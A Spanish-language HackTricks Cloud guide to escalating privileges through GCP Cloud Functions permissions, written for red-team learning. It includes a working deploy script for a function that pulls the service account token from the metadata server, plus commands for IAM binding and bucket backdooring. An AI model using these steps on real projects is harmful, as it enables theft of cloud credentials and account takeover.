GCP - Cloudfunctions Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
cloudfunctions
Más información sobre Cloud Functions:
cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Un atacante con estos privilegios puede crear una nueva Cloud Function con código arbitrario (malicioso) y asignarle una cuenta de servicio. Luego, leak el token de la cuenta de servicio desde los metadatos para escalar privilegios a ésta.
Podrían ser necesarios algunos privilegios para invocar la función.
Los scripts de explotación para este método se pueden encontrar aquí y aquí y el archivo .zip preconstruido se puede encontrar aquí.
cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Un atacante con estos privilegios puede modificar el código de una Function e incluso modificar la cuenta de servicio adjunta con el objetivo de exfiltrar el token.
Caution
Para desplegar Cloud Functions también necesitarás permisos actAs sobre la cuenta de servicio predeterminada de Compute o sobre la cuenta de servicio que se usa para construir la imagen.
Pueden requerirse privilegios adicionales, como el permiso .call para cloudfunctions versión 1 o el rol role/run.invoker para invocar la función.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
Caution
Si obtienes el error
Permission 'run.services.setIamPolicy' denied on resource...es porque estás usando el parámetro--allow-unauthenticatedy no tienes permisos suficientes para ello.
El exploit script para este método se puede encontrar here.
cloudfunctions.functions.sourceCodeSet
Con este permiso puedes obtener una URL firmada para poder subir un archivo a un bucket de la función (pero el código de la función no se modificará, aún necesitas actualizarlo)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
No estoy muy seguro de cuán útil es solo este permiso desde la perspectiva de un attackers, pero es bueno saberlo.
cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs
Asígnate cualquiera de los privilegios anteriores .update o .create para escalar.
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
cloudfunctions.functions.update
Solo teniendo permisos cloudfunctions, sin iam.serviceAccounts.actAs, no podrás actualizar la función, POR LO TANTO ESTO NO ES UN PRIVESC VÁLIDO.
Invocar funciones
Con los permisos cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, y run.routes.invoke, una identidad puede invocar directamente Cloud Functions. También es necesario que la función permita tráfico público, o que quien realice la llamada esté dentro de la misma red que la propia función.
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
Acceso de lectura y escritura sobre el bucket
Si tienes acceso de lectura y escritura sobre el bucket puedes monitorizar los cambios en el code y cada vez que ocurra una actualización en el bucket puedes reemplazar el nuevo code con tu propio code de modo que la nueva versión de la Cloud Function se ejecute con el backdoored code enviado.
Puedes leer más sobre el ataque en:
Sin embargo, no puedes usar esto para comprometer previamente Cloud Functions de terceros porque si creas el bucket en tu cuenta y le das permisos públicos para que el proyecto externo pueda escribir en él, obtendrás el siguiente error:
 (1) (1).png)
Caution
Sin embargo, esto podría usarse para ataques DoS.
Acceso de lectura y escritura sobre Artifact Registry
Cuando se crea una Cloud Function se sube una nueva docker image al Artifact Registry del proyecto. Intenté modificar la image por una nueva, e incluso eliminar la image actual (y la cache image) y nada cambió; la Cloud Function siguió funcionando. Por lo tanto, quizá podría ser posible abusar de un Race Condition como con el bucket para cambiar el docker container que se ejecutará, pero solo modificar la image almacenada no es suficiente para comprometer la Cloud Function.
Referencias
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

